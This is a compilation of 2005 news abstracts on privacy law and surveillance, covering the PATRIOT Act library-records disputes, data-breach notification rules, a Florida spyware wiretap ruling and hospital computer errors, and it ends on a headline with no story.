A Florida appeals court has ruled that a suspicious wife, who installed spyware on her husband's computer to secretly monitor and record his electronic interactions with another woman, violated Florida's wiretapping law. The law says anyone who "intentionally intercepts" any "electronic communication" commits a criminal act. The wife had argued that her use of Spector spyware should be viewed as similar to reading a stored file on her husband's computer. But Judge Donald Grincewicz wrote that "because the spyware installed by the wife intercepted the electronic communication contemporaneously with transmission, copied it and routed the copy to a file in the computer's hard drive, the electronic communications were intercepted in violation of the Florida Act." (CNet News.com 15 Feb 2005)

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s
2005-03-15 **privacy concerns data information disclosure identity ID theft Social Security Number use restrictions lawmakers laws**

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=7911154>

U.S. CONSIDERS RESTRICTIONS ON SOCIAL SECURITY NUMBERS

Following recent incidents that exposed personal information on more than 175,000 individuals, U.S. lawmakers are considering placing new restrictions on companies that gather and sell such information. Relatively few regulations apply to companies such as ChoicePoint and LexisNexis that collect data about driving records, financial records, and other sensitive information. Social Security numbers appear to be at the crux of the issue: because they are unique, data companies rely on Social Security numbers to distinguish individuals, but the numbers are also a powerful weapon in the hands of identity thieves, who can use them to access confidential records, open new accounts, and wreak havoc with a person's privacy. At separate hearings in the House and the Senate, legislators discussed laws that would require data companies to notify any individual before they sell that person's Social Security number. Other suggestions included requiring disclosure of any incident that exposes sensitive information. Don McGuffey, vice president of ChoicePoint, which recently sold 145,000 records to identity thieves, told a Senate hearing that personal information had been compromised by his company in "a handful" of other incidents that were not made public.

Reuters, 15 March 2005

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s
2005-03-24 **federal agencies bank security breach customer disclosure Fair and Accurate Credit Transactions Act FACT**

EDUPAGE; <http://www.pcworld.com/news/article/0,aid,120168,00.asp>

FEDS ORDER BANKS TO DISCLOSE BREACHES

Four federal agencies have released regulations requiring banks and other financial institutions to notify customers when a security breach presents a risk that their personal information may be misused. The Federal Reserve, the Federal Deposit Insurance Corporation, the Office of the Comptroller of the Currency, and the Office of Thrift Supervision deliberated for 18 months on how federal legislation, including the Fair and Accurate Credit Transactions (FACT) Act, should be interpreted. The resulting "guidance" stipulates that when personal information is accessed without authorization and misuse of that information has occurred or is reasonably possible, institutions must notify affected customers "as soon as possible." In all cases, even those that do not meet the standard set for notifying customers, institutions must notify their primary federal regulators of the breach. Delays in notifying customers are permissible if such notification is determined to jeopardize an investigation into the breach.

PCWorld, 24 March 2005

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s
2005-04-29 **civil liberties privacy concerns USA PATRIOT Act renewal House Senate ACLU critical litigation**

EDUPAGE; <http://chronicle.com/prm/daily/2005/04/2005042901t.htm>

HEARINGS FOCUS ON LIBRARY PROVISIONS OF USA PATRIOT ACT

Amid both House and Senate hearings on whether to renew certain portions of the USA PATRIOT Act, supporters and critics of Section 215, which authorizes law enforcement to obtain records from libraries and other institutions, have lined up to voice their opinions. Section 215 allows gaining access to various types of records with only the approval of a secret court. Further, those whose information has been collected are barred from disclosing that fact, even to attorneys. Representatives of the American Civil Liberties Union (ACLU), which has been highly critical of the legislation, said they could support its renewal if several concessions were made, including limiting the authority to investigate only "agent[s] of a foreign power" and eliminating the gag order for those under investigation. Groups including the American Library Association said they supported the ACLU's recommendations. Rep. Howard Coble (R-N.C.) defended the law as it stands, saying there has been much "misinformation" about Section 215 and how it has been used. Kenneth L. Wainstein, U.S. attorney for the District of Columbia, said that the law has not been used to obtain records from libraries, though he acknowledged that it could be used that way in the future. Chronicle of Higher Education, 29 April 2005 (sub. req'd)

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s
2005-06-15 **civil liberties privacy concerns USA PATRIOT Act powers limited US House of Representatives patron information disclosure**

EDUPAGE; <http://www.wired.com/news/privacy/0,1848,67880,00.html>

HOUSE VOTES TO LIMIT PATRIOT ACT

The U.S. House of Representatives has voted 238-187 to impose limits on the powers of the U.S.A.P.A.T.R.I.O.T. Act. Sponsored by Rep. Bernard Sanders (I-Vt.), the measure would eliminate federal authority granted by the U.S.A.P.A.T.R.I.O.T. Act to compel libraries and bookstores to disclose information about books their patrons have checked out or bought, without first obtaining a search warrant; the measure would preserve the right for government officials to obtain Internet search records from libraries.

Although Attorney General Alberto Gonzales recently told Congress that federal authorities have never invoked the power, a number of libraries have begun deleting patron records to preempt the possibility of having to turn them over. Sanders called the vote "a tremendous victory that restores important constitutional rights to the American people." Rep. Tom Feeney (R-Fla.) defended the powers, saying that federal authorities need tools to help them identify planned terrorist activities and prevent attacks before they happen. The measure has not been introduced by the Senate, and President Bush has promised to veto the bill if it passes. Wired News, 15 June 2005

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s
2005-07-15 **GAO Information Security rely tampering disruptions operations fraud disclosure account FISMA GAO**

DHS IAIP Daily; <http://www.gao.gov/cgi-bin/getrpt?GAO-05-552>

INFORMATION SECURITY: WEAKNESSES PERSIST AT FEDERAL AGENCIES DESPITE PROGRESS MADE IN IMPLEMENTING RELATED STATUTORY REQUIREMENTS (REPORT)

Federal agencies rely extensively on computerized information systems and electronic data to carry out their missions. The security of these systems and data is essential to prevent data tampering, disruptions in critical operations, fraud, and inappropriate disclosure of sensitive information. Concerned with accounts of attacks on systems via the Internet and reports of significant weaknesses in federal computer systems that make them vulnerable to attack, Congress passed the Federal Information Security Management Act (FISMA) in 2002. In accordance with FISMA requirements that the Comptroller General report periodically to the Congress, GAO's objectives in this report are to evaluate (1) the adequacy and effectiveness of agencies' information security policies and practices and (2) the federal government's implementation of FISMA requirements. GAO recommends that the Director of the Office of Management and Budget (OMB) implement improvements in the annual FISMA reporting guidance. In commenting on a draft of this report, OMB agreed with GAO's overall assessment of information security at agencies but disagreed with aspects of our recommendations to enhance its FISMA reporting guidance.

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s
2005-07-28 **Congress measures Personal Data Privacy and Security Act FTC Social Security Number sale**

EDUPAGE; http://news.com.com/2100-7348_3-5808894.html

CONGRESS GETS SERIOUS ABOUT DATA PRIVACY

Ahead of its August recess, Congress moved data-security measures to the top of its agenda, with various House and Senate committees considering three different bills dealing with the protection of sensitive information. The broadest legislation being considered is the Personal Data Privacy and Security Act, which would place new restrictions on how personal information may be used and imposes criminal penalties for those found to have violated it. The bill would limit the sale and publication of Social Security numbers, require notification of consumers in the event their personal data is compromised, and restrict the authority of the states in writing their own regulations for data protection. Other bills working their way through the Senate include similar requirements that consumers be notified of data breaches, but they only include civil penalties. The other measures, including one passed by the Senate Commerce Committee, place oversight and enforcement authority with the Federal Trade Commission (FTC). Critics of the proposed legislation argue that it is being rushed through without proper discussion. CNET, 28 July 2005

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s
2005-08-26 civil liberties privacy concerns USA PATRIOT Act government surveillance
Supreme Court decision Connecticut library FBI investigation ACLU lawsuit
litigation

EDUPAGE; <http://www.nytimes.com/2005/08/26/politics/26patriot.html>

FBI SEEKS LIBRARY RECORDS

According to the American Civil Liberties Union (ACLU), the FBI is using one of the powers granted by the USA PATRIOT Act to demand the records of a library in Connecticut. Because the USA PATRIOT Act also forbids disclosure of details surrounding such investigations, the name of the library in question is being kept confidential, though it is known to be a member of the American Library Association. At issue is the authority to subpoena library records using something called a national security letter, which does not require a judge's approval. The ACLU has filed a federal lawsuit on behalf of the library, saying "it should not be forced to disclose such records without a showing of compelling need and approval by a judge." Anthony D. Romero, executive director of the ACLU, said, "This is a prime example of the government using its U.S.A.P.A.T.R.I.O.T. Act powers without any judicial oversight to get sensitive information on law-abiding Americans." The FBI did not comment on the lawsuit, but the agency's national security letter noted that it was seeking the library records as part of an investigation "to protect against internal terrorism or clandestine intelligence activities." New York Times, 26 August 2005 (registration req'd)

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s
2005-09-01 civil liberties privacy concerns USA PATRIOT Act government surveillance
Supreme Court decision Connecticut library FBI investigation ACLU lawsuit
litigation

EDUPAGE; <http://chronicle.com/daily/2005/09/2005090102t.htm>

NO DECISION YET FROM JUDGE ON PATRIOT ACT CASE

U.S. District Court Judge Janet C. Hall has postponed deciding whether a Connecticut library may publicly disclose its identity as the institution whose records have been sought by the FBI under the PATRIOT Act. The act forces any organization whose records have been subpoenaed to be silent about the investigation, but the library in question and the American Civil Liberties Union have filed a suit, alleging that such restrictions are unconstitutional. Hall heard arguments from both sides this week but declined to issue a ruling until she hears more from the FBI. Observers noted that Hall seemed dubious of the government's claim that identifying the library would threaten the investigation. She said the FBI must demonstrate that risk, which it so far has not done. Pointing out that controversial provisions of the PATRIOT Act are under review by Congress, Hall suggested that allowing the public to see how the law is being applied could be an important factor in deciding whether the act will be extended. Chronicle of Higher Education, 1 September 2005 (sub. req'd)

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s
2005-09-21 information technology association America ITAA Congress law data security
breach

EDUPAGE; <http://www.few.com/article90869-09-21-05-Web>

ITAA CALLS FOR NATIONAL DATA-BREACH NOTIFICATION LAW

The Information Technology Association of America (ITAA) has called on Congress to pass federal legislation that would specify the conditions under which companies and government agencies would be required to notify consumers regarding breaches of data security. According to Greg Garcia, vice president of information security programs and policy at the ITAA, 17 states have passed such laws, 8 of which have gone into effect. The ITAA recommends a federal law that would provide clear definitions of data breaches, identify circumstances under which notification would be required, and detail the ways in which notification must take place. Furthermore, the ITAA said a federal data-breach law should take precedence over state laws that might otherwise weaken the federal law. Both houses of Congress have taken up the topic of requiring notification, but so far only one bill, sponsored by Sen. Dianne Feinstein (D-Calif.), has been introduced. Federal Computer Week, 21 September 2005

*Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s
2005-11-11 privacy concerns USA PATRIOT Act US government surveillance bill law Congress
terrorism anti-terrorism*

EDUPAGE; <http://chronicle.com/daily/2005/11/2005111101t.htm>

CONGRESS EXAMINES CONTROVERSIAL PORTIONS OF PATRIOT ACT

Members of a Congressional committee this week took up discussions of the USA PATRIOT Act, including two highly controversial sections of the law. Several provisions of the law are scheduled to expire this year, and the committee is charged with reconciling House and Senate proposals to extend those provisions. Expected to be the focus of the discussions are Sections 215 and 505, which greatly expand federal authority to obtain information such as phone and library records on individuals and which prevent those under investigation from revealing, even to their attorneys, that they are under investigation. Advocates for civil liberties have been pressing federal officials for details on how these key sections of the law have been applied, including a letter recently sent by five U.S. Senators to Attorney General Alberto Gonzales, demanding data on how many so-called national security letters have been issued since the PATRIOT Act was enacted. Although federal officials have revealed few specifics, supporters of the legislation argue that "vigorous oversight by congressional committees has uncovered no instances of abuse," according to Sen. Pat Roberts (R-Kans.). Rep. John Conyers (D-Mich.) noted, "The very act of surveilling citizens who aren't even suspected of wrongdoing is an abuse in itself." Chronicle of Higher Education, 11 November 2005 (sub. req'd)

*Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s
2005-11-18 privacy concerns USA PATRIOT Act extension opposition US government
surveillance bill law House Senate terrorism anti-terrorism*

EDUPAGE; <http://chronicle.com/daily/2005/11/2005111801t.htm>

REACTION TO EXPECTED EXTENSION OF PATRIOT ACT PROVISIONS

Groups opposed to two provisions of the USA PATRIOT Act up for review expressed disappointment at a tentative plan to extend both. The proposed extension was written by a conference committee charged with reconciling House and Senate versions of a bill covering the parts of the act that will otherwise expire at the end of the year. Under the plan, the provision that allows the government to issue so-called national security letters without a judge's approval would be made permanent and would allow for criminal prosecutions of individuals who reveal that they have received such a letter. The plan does not make changes to the second section of the act at issue, the library provision, that were included in the Senate bill. Those changes included requiring the government to demonstrate a connection between terrorists and individuals whose records were sought. The Senate bill also called for another review of the library provision in four years; under the proposal, it would not be reviewed for seven years. The plan does include limited concessions. Those who receive national security letters would be allowed to discuss them with their attorneys, and the government would be required to disclose certain details about how the national security letters are used. Chronicle of Higher Education, 18 November 2005 (sub. Req'd)

*Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s
2005-12-06 California law bill data security standards privacy protection state government efforts*

EDUPAGE; <http://chronicle.com/daily/2005/12/2005120601t.htm>

CALIFORNIA LAW SETS NEW DATA-SECURITY STANDARDS

California has passed a new data-protection law that may serve as a model for other states, despite the reaction of academic researchers, many of whom see it as an obstacle to their efforts at conducting research efficiently. The new law is intended to safeguard individuals' personal information when it is used by any research organization. Under the law, before any state agency may release personal data, the state's Committee for the Protection of Human Subjects must assess the research and determine whether it would adequately protect the requested data. Researchers seeking data from state agencies must show that the data are necessary; ensure that data are destroyed or returned when the project is completed; and, when possible, use information other than Social Security numbers as unique identifiers for subjects. Academic researchers largely object to the new law, saying it will impede some aspects of their research. Chronicle of Higher Education, 6 December 2005 (sub. req'd)

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s
2005-12-11 **cell mobile phone tracking privacy surveillance law enforcement probable cause court case lawsuit litigation**

RISKS; <http://tinyurl.com/b4fhk> 24 12

CELLPHONE TRACKING AND PRIVACY

Cellular operators know, within about 300 yards, the location of their subscribers whenever a phone is turned on. The operators have said that they turn over location information when presented with a court order to do so. However, in the last four months, three federal judges have denied prosecutors the right to get cellphone tracking information from wireless companies without first showing "probable cause" to believe that a crime has been or is being committed. That is the same standard applied to requests for search warrants.

[Abstract by Peter G. Neumann]

Dr Neumann notes: "Missouri has granted a contract for statewide cell-phone tracking."

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s
2005-12-15 **US government surveillance FTC policing bill Undertaking Spam Spyware Fraud Enforcement Enforcers Beyond Borders Act 2005**

EDUPAGE; http://news.zdnet.com/2100-9588_22-5996703.html

SENATE PANEL PROPOSES NEW FTC POLICING POWERS

A bill approved by a U.S. Senate panel would give the Federal Trade Commission (FTC) increased policing power and the authority to share with foreign governments information about spammers and others suspected of illegal acts. Called the Undertaking Spam, Spyware, and Fraud Enforcement with Enforcers Beyond Borders Act of 2005, the proposal mimics legislation requested by the FTC two years ago that roused objections from civil liberties groups and was not enacted.

Collaboration with foreign law enforcement agencies would permit the commission to address problems such as spyware and telemarketing fraud that cross national borders. It has yet to be debated by the full Senate and U.S. House of Representatives. ZDNet, 15 December 2005

Category 38.6 US case law, legislation & regulation concerning individual privacy (not govt s
2005-12-15 **Internet policing privacy FTC act spam control foreign governments**

DHS IAIP Daily; http://news.zdnet.com/2100-9588_22-5996703.html

SENATE PANEL APPROVES MORE INTERNET-POLICING POWERS

The Federal Trade Commission (FTC) would gain expanded policing powers and could share information about spammers and other miscreants with foreign governments under a bill approved Thursday, December 15, by a U.S. Senate panel. Called the Undertaking Spam, Spyware, and Fraud Enforcement with Enforcers Beyond Borders Act of 2005, the proposal is nearly identical to legislation pushed by the FTC itself two years ago that drew concerns from civil liberties groups and was never enacted. In essence, the bill would expand existing FTC powers so that the agency could go after any "unfair or deceptive practices" that are likely to cause "foreseeable injury" on U.S. soil or involve conduct in the United States. Intended by its sponsors to help combat such menaces as spam, spyware and telemarketing fraud carried out on international turf, the bill would allow the FTC to collaborate with foreign law enforcement agencies and swap information on a reciprocal basis. Further detail on this Act can be found at: <http://thomas.loc.gov/cgi-bin/bdquery/z?d109:s.01608>:

38.7 Other case law, legislation & regulation concerning individual privacy (not govt surveillance)

Category 38.7

Other case law, legislation & regulation concerning individual privacy (not govt

2005-02-02

Greece ban e-mail snooping DPA workers employee privacy remote control law legislation

NewsScan; <http://australianit.news.com.au/articles/0>

GREECE BANS E-MAIL SNOOPING

Greece's personal data watchdog has ordered companies not to violate employee privacy by snooping into their private e-mail. The independent Data Protection Authority (DPA), whose decisions are binding, has barred firms from collecting and processing information on workers' communications, including e-mail. The decision did not include fines. The authority acted on a complaint by the workers' union of an unnamed company, alleging the company remote-controlled employees' computers through virtual network control, specialized software that transmits the screen and keyboard and mouse clicks between two computers on a network. (The Australian 2 Feb 2005)

Category 38.7

Other case law, legislation & regulation concerning individual privacy (not govt

2005-02-22

Singapore coordinated cybersecurity effort Government officials Internet law monitoring activity networks threats United States Australia

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=7698536>

SINGAPORE PLANS COORDINATED CYBERSECURITY EFFORT

Government officials in Singapore announced that the country will spend \$23 million over three years on a centralized program to increase cybersecurity. Singapore is one of the world's most wired countries, with a residential Internet access rate of 50-60 percent. The country also has some of the strictest regulation of computer systems, including a law that allows government monitoring of all computer activity. The law also allows preemptive action by the government to prevent anticipated cybersecurity threats. The new initiative, the National Cyber-Threat Monitoring Center, will monitor networks, looking for evidence of hacking or other cyber threats. The center, which is expected to be running by the second half of 2006, will work with similar centers in countries including the United States and Australia. Deputy Prime Minister Tony Tan, who is also Singapore's Coordinating Minister for Security and Defense, said, "Infocomm security is as important in protecting Singapore as is physical security at our borders."

38.8 Law enforcement & privacy rights

Category 38.8

Law enforcement & privacy rights

2005-01-18

Internet broadcast court prediction online video privacy public broadcast trials

NewsScan; http://www.usatoday.com/tech/news/2005-01-18-sentenced-online_x.htm

WILD WEB JUSTICE

Ohio trial court judge James L. Kimbler has set up a personal Sony digital camcorder in his courtroom and using it to post online video of people being sentenced for robbery, rape and other crimes. Kimbler says, "It's all public record anyway. If the general public and law students know what we do it increases their understanding." Lloyd Snyder, a professor of legal ethics, predicts: "This is coming. With 'Court TV' available, people are getting used to having things like this out there, and it's also entertainment. It is the right of the defendant to be tried in the open. There is no correlative right for a defendant to have a private trial." (AP/USA Today 18 Jan 2005)

Category 38.8

Law enforcement & privacy rights

2005-01-19

Carnivore dead Congress FBI surveillance federal officials electronic communications privacy software

EDUPAGE; http://news.com.com/2100-1028_3-5541483.html

CARNIVORE IS DEAD

According to two recent reports to Congress, the FBI has put an end to its electronic surveillance tool, known as Carnivore. Despite claims from federal officials that they need expanded access to electronic communications, the system was widely criticized by civil liberties groups as being overly invasive and for not respecting individuals' privacy. The reports, which the Electronic Privacy Information Center obtained under the Freedom of Information Act, note that the FBI did not use the system for fiscal years 2002 and 2003 and instead used commercially available monitoring software. According to the reports, the FBI engaged in court-ordered Internet surveillance 13 times during those years.

Category 38.8

Law enforcement & privacy rights

2005-02-25

homeland security privacy committee bias corporate influence representation protests

NewsScan; <http://www.siliconvalley.com/mld/siliconvalley/10991077.htm>

PRIVACY ISSUES AND THE DEPARTMENT OF HOMELAND SECURITY

Privacy advocates are saying that a committee set up to advise the Homeland Security Department on privacy issues is skewed too heavily toward corporations such as Intel, Computer Associates, IBM, and Oracle. George Washington University Law School professor and privacy expert Daniel Solove says, "The strong privacy advocacy community seems underrepresented on this list." But Homeland Security Chief Privacy Officer Nuala O'Connor Kelly says the committee represents a cross-section of viewpoints, including people "who have gone to companies that have had challenges and tried to fix them." She pointed to several privacy advocates on the board: Tara Lemmey, former executive director of the Electronic Frontier Foundation; Lance Hoffman, a George Washington University professor; and James Harper, editor of Privacilla.org and a strong critic of government surveillance. (AP/San Jose Mercury News 25 Feb 2005)

Category 38.8 Law enforcement & privacy rights
2005-07-22 **GAO TSA privacy violations Secure Flight program terrorism anti-terrorism**
EDUPAGE; <http://www.fcw.com/article89670-07-22-05-Web>
GAO SAYS TSA CLEANING UP SECURE FLIGHT

According to the Government Accountability Office (GAO), the Transportation Security Administration (TSA) has adequately addressed concerns raised by the GAO over privacy violations in the Secure Flight program. The program is designed to safeguard the nation's air travel system by identifying suspected terrorists and preventing them from boarding planes. During a test of the program, TSA collected commercial information on air passengers, violating its privacy policy, according to the GAO. TSA used the commercial data in conjunction with passenger information to increase the reliability of the Secure Flight system, but the result was that air passengers were unable to know what information about them was being collected and how it was being used.

In a report, the GAO said that after being notified of the problems, TSA acted immediately to address the issues raised. Aside from not using commercial data in the Secure Flight program, TSA also said its chief privacy officer and general counsel would ensure that activities related to the Secure Flight program would be explicitly detailed in its privacy notices. Federal Computer Week, 22 July 2005

Category 38.8 Law enforcement & privacy rights
2005-10-06 **privacy concerns USA PATRIOT Act American Library Association ALA brief**
EDUPAGE; <http://chronicle.com/daily/2005/10/2005100601t.htm>
MORE HINTS POINT TO IDENTITY OF CONNECTICUT LIBRARY

The American Library Association (ALA) has filed a court brief in the ongoing wrangling over a provision of the USA PATRIOT Act that prevents organizations under investigation from publicly speaking about the investigation. Under the terms of that law, federal authorities had sought information from a Connecticut library group, which has been forced to keep its identity secret. An article in the New York Times, though, said the Library Connection Inc., of Windsor, Conn., is the probable target of the investigation. According to the ALA's brief, because the Library Connection has refused to confirm or deny the story in the Times, it is clear that the speculation is correct. Further, because the identity has been guessed, keeping the group from speaking about the investigation is pointless, according to the brief. The brief states: "If the reporting is accurate, the information the government seeks to suppress has already been revealed, and the gag order serves no interest but that of silencing a citizen." Last month a judge ordered that the gag order be lifted, but an appeals court has reimposed the gag order pending its review of the case. Chronicle of Higher Education, 6 October 2005 (sub. req'd)

Category 38.8 Law enforcement & privacy rights
2005-10-19 **Sleuths tracking code color printers serial EFF San Francisco Secret Service**
DHS IAIP Daily; <http://www.washingtonpost.com/wp-dyn/content/article/2005/10/18/AR2005101801663.html?referrer=email>
SLEUTHS CRACK TRACKING CODE DISCOVERED IN COLOR PRINTERS

An invisible bar code of sorts that contains the serial number of the printer as well as the date and time a document was printed has been cracked by the Electronic Frontier Foundation (EFF), a San Francisco consumer privacy group. According to U.S. Secret Service spokesperson Eric Zahren, "It's strictly a countermeasure to prevent illegal activity specific to counterfeiting. It's to protect our currency and to protect people's hard-earned money."

Category 38.8

Law enforcement & privacy rights

2005-10-23

Colleges upgrade Federal Communications Commission Internet networks law monitor Internet Philadelphia San Francisco

DHS IAIP Daily;

<http://www.nytimes.com/2005/10/23/technology/23college.html>

COLLEGES PROTEST CALL TO UPGRADE ONLINE SYSTEMS

The Federal Communications Commission is requiring hundreds of universities, online communications companies and cities to overhaul their Internet computer networks to make it easier for law enforcement authorities to monitor e-mail and other online communications. This order extends the provisions of a 1994 wiretap law to universities, libraries, airports providing wireless service and commercial Internet access providers and municipalities that provide Internet access to residents, such as Philadelphia and San Francisco. The action, which the government says is intended to help catch terrorists and other criminals, has unleashed protests and the threat of lawsuits from universities, which argue that it will cost them at least \$7 billion while doing little to apprehend lawbreakers. The Justice Department requested the order last year, saying that new technologies like telephone service over the Internet were endangering law enforcement's ability to conduct wiretaps "in their fight against criminals, terrorists and spies."

38.9 Medical information & HIPAA

Category 38.9

Medical information & HIPAA

2005-01-19

national health medical network recommendations policy financing standards interoperability

NewsScan; <http://www.nytimes.com/2005/01/19/technology/19health.html>

ROAD MAP LAYS OUT THE ROUTE TO DIGITAL HEALTH RECORDS

A group of 13 health and information technology organizations have presented the Bush administration with recommendations for a "national road map" for development of a national health information network. The 54-page document borrows heavily from the technical and policy approach of the Internet, suggesting that the federal government limit its involvement to initial financing and endorsement of basic technical standards. A separate "standards and policy entity" would then take over management of the proposed system. The report concluded that a national health network should not include a central database of patient records, nor should it require people to carry "health ID cards." Patients would control their own records, and the optimal design of the network would use open, standard technology for maximum interoperability of disparate systems. Many medical groups have begun investing in creating local networks that connect electronic patient records and the study warns that failure to move swiftly to establish open communications standards between these networks may result in a large savings opportunity lost. "If we're not careful, we'll have little islands of excellence that don't talk to each other," says Jan Walker, lead author of a separate article on the subject recently published in Health Affairs. (New York Times 19 Jan 2005)

Category 38.9

Medical information & HIPAA

2005-01-26

national health network medical companies nonproprietary standards software plans proposal project

NewsScan; <http://www.nytimes.com/2005/01/26/technology/26health.html>

PREPARING FOR A DIGITAL HEALTH NETWORK

Eight leading high-tech companies -- IBM, Microsoft, Intel, Oracle, Accenture, Cisco, Hewlett-Packard and Computer Sciences -- have agreed to adopt open, nonproprietary technology standards as the software building blocks for a national health information network, which the Bush administration hopes will improve care and reduce costs by moving to a digital system for handling patient records, clinical research, claims and payments. IBM executive Neil de Crescenzo says, "The challenge is to turn a call for change in the nation's health care system into actual change. We got together to try to speak with one voice to the federal government and other stakeholders, and say this is an approach we will all stand behind." (New York Times 26 Jan 2005)

Category 38.9

Medical information & HIPAA

2005-02-04

Canada privacy medical outsource USAPATRIOT Act data mining leakage confidentiality ChoicePoint immigration customers employees activists

NewsScan; <http://www.wired.com/news/privacy/0>

CANADIANS UP IN ARMS OVER HEALTH INFO PRIVACY

Activists with the British Columbia Civil Liberties Association say that plans to outsource storage of Canadian citizens' health records to a U.S. company places that sensitive information in jeopardy. They fear that putting the data in the hands of Maximus Can, a subsidiary of U.S.-based Maximus, could lead to data-mining exercises, such as those that involved passenger records from JetBlue and other airlines. Or, as in the case with data on Latin American citizens purchased in 2003 by ChoicePoint that was then sold to U.S. immigration authorities, it could be used to prevent British Columbians with serious health issues, such as AIDS, from entering the U.S. Under the U.S.A.P.A.T.R.I.O.T. Act, U.S. companies can be forced to reveal information while prohibited from telling customers or employees that it has been shared. Activists fear that reach will extend to subsidiaries of U.S. companies operating outside its borders. "There really isn't a database of cross-referenced information that you could consider to be more personal... The potential for this information to be used and misused is great," says Michael Vonn, policy director for the British Columbia Civil Liberties Association. (Wired.com 4 Feb 2005)

Category 38.9 *Medical information & HIPAA*
2005-03-10 **medical hospital informatics security quality assurance QA errors iatrogenic illness drug dosage prescriptions flaws bugs user confusion medications patients doctors nurses computers**

RISKS; <http://tinyurl.com/9dwew>; <http://tinyurl.com/d7qsp> 23 78

DRUG-ERROR RISK AT HOSPITALS TIED TO COMPUTERS

Monty Solomon and Peter Neumann summarized a serious problem in hospitals:

Hospital computer systems widely touted as the best way to eliminate dangerous medication mix-ups can actually introduce many errors, according to the most comprehensive study of hazards of the new technology. The researchers, who shadowed doctors and nurses in the University of Pennsylvania hospital for four months, found that some patients were put at risk of getting double doses of their medicine while others get none at all. 22 types of mistakes were identified, such as failing to stop old medications when adding new ones or forgetting that the computer automatically suspended medications after surgery. The findings underscore the complexity of improving safety in US hospitals, where the Institute of Medicine estimates that errors of all kinds kill 44,000 to 98,000 patients a year.

A related story recounts similar findings from a different study.

HOSPITAL COMPUTERS MAKE THINGS WORSE

Reports over the past few years of increasing numbers of patient injuries and deaths due to medical errors sent hospital administrators scrambling for computerized solutions. But two new studies suggest that, in many cases, these high-tech systems have left doctors and nurses increasingly frustrated while providing little evidence of real benefit to patients. In fact, one widely used system actually helped foster medication errors, researchers found. See the 9 Mar 2005 issue of the Journal of the American Medical Association.

Sympatico News, Hospital Computers Fail to Deliver: study finds they facilitated errors

Category 38.9 *Medical information & HIPAA*
2005-03-11 **medical hospital informatics security quality assurance QA errors iatrogenic illness drug dosage prescriptions flaws bugs user confusion medications patients doctors nurses computers**

RISKS 23 79

COMPUTERIZED PHYSICIAN ORDER ENTRY SYSTEMS STILL TROUBLESOME

Charles J. Wertz provided abstracts for two interesting articles:

The 9 Mar 2005 issue of the *Journal of the American Medical Association* contains two articles and an editorial that should be of interest to Risks readers.

ROLE OF COMPUTERIZED ORDER ENTRY SYSTEMS IN FACILITATING MEDICATION ERRORS discusses a variety of issues including poor interface design requiring a physician to look at as many as 20 screens to see all the information about a patient, misleading and frequently misinterpreted dosage information, dosage change requires adding the new and deleting the old, poor integration of multiple systems, poor handling of discontinuation and resumption of medications, loss of orders and others. This article appears to be the result of a well done comprehensive study at one specific hospital.

The Editorial, COMPUTER TECHNOLOGY AND CLINICAL WORK: STILL WAITING FOR GODOT makes a number of good points such as, "The misleading theory about technology is that technical problems require technical solutions; ie, a narrowly technical view that leads to a focus on optimizing the technology. In contrast, a more useful approach views the clinical workplace as a complex system in which technologies, people, and organizational routines dynamically interact." Anyone interested in systems design will find this interesting.

The other Article, EFFECTS OF COMPUTERIZED CLINICAL DECISION SUPPORT SYSTEMS ON PRACTITIONER PERFORMANCE AND PATIENT OUTCOMES: A SYSTEMATIC REVIEW provides a comprehensive review of the topic.

Category 38.9 *Medical information & HIPAA*
2005-03-12 **medical hospital informatics security quality assurance QA errors iatrogenic illness drug dosage prescriptions flaws bugs user confusion medications patients doctors nurses computers blame game shifting responsibility administrators management**

RISKS 23 79

COMPUTERS IN HOSPITALS BLAMED FOR HUMAN ERROR

In response to several articles about how awful biomedical informatics systems are, Bob Morrell retorted that administrators readily blame computers for errors committed by their staff:

>Recent coverage of a JAMA article on the patient errors (cited by R. Akerman in RISKS-23.78) caused by computers will likely be cited by those who resist the movement towards an electronic medical record. This despite the fact that all acknowledge that the current mixed state of computerized and non-computerized medical systems is abysmal. My perspective on this is that we often miss the core truth of most medical mistakes: they are caused by humans, not computers. In the 1990's I developed several programs designed to find medical mistakes. As such, I spent a lot of time analyzing mistakes, and dealing with defensive reactions by physicians and nurses to the mistakes found. The most common mistake, at its core, was raw human misunderstanding: conceptual misunderstanding leading to misinterpretation of medical data (surgeons who thought the higher the bacterial MIC number, the better the antibiotic, when the reverse is true, and therefore put the patient on an antibiotic guaranteed to be ineffective). A close second was communication failures, where a key report was pocketed, lost or otherwise not communicated to others who would understand its importance.

However, in all these cases, the typical hospital political hierarchy sought to turn each of these medical errors into a computer error, lest a human (particularly a Doctor human) be found at fault. While I was grumpy about this at first, I soon realized that there was at least some truth in it, in that more easily understood medical reports, that highlighted and provided some interpretation to key information, and were more widely distributed were in fact improvements worth making to medical systems, and certainly would prevent far more errors than my mistake finding programs would ever find. The problem was however, that as the concept of the electronic medical record began taking shape, resistance to it often cited the end of incident analysis that blamed the computer, rather than the physician or nurse who was primarily at fault. The JAMA cases certainly sound like real problems with the human/computer interface, but they sound suspiciously like the final reports we used to end up on real mistakes made by real humans.

The medical environment is extremely complex, understaffed and wrought with automated and semi automated systems that all can fail or conflict whether they are computerized or not. I routinely saw problems with continuation of standing order dosing long before those standing orders were computerized. Blaming the computer misses the point, even if it does point out how the computer system could be made better.

The risk is one I often see in The Risks Digest: problems with computerized systems seem to get more attention than the usually much greater problems in the existing non-computerized systems.<

Category 38.9 *Medical information & HIPAA*
2005-11-20 **United Kingdom UK data sharing privacy concerns medical research**
EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4455306.stm>
BRITISH ORGANIZATION URGES DATA SHARING

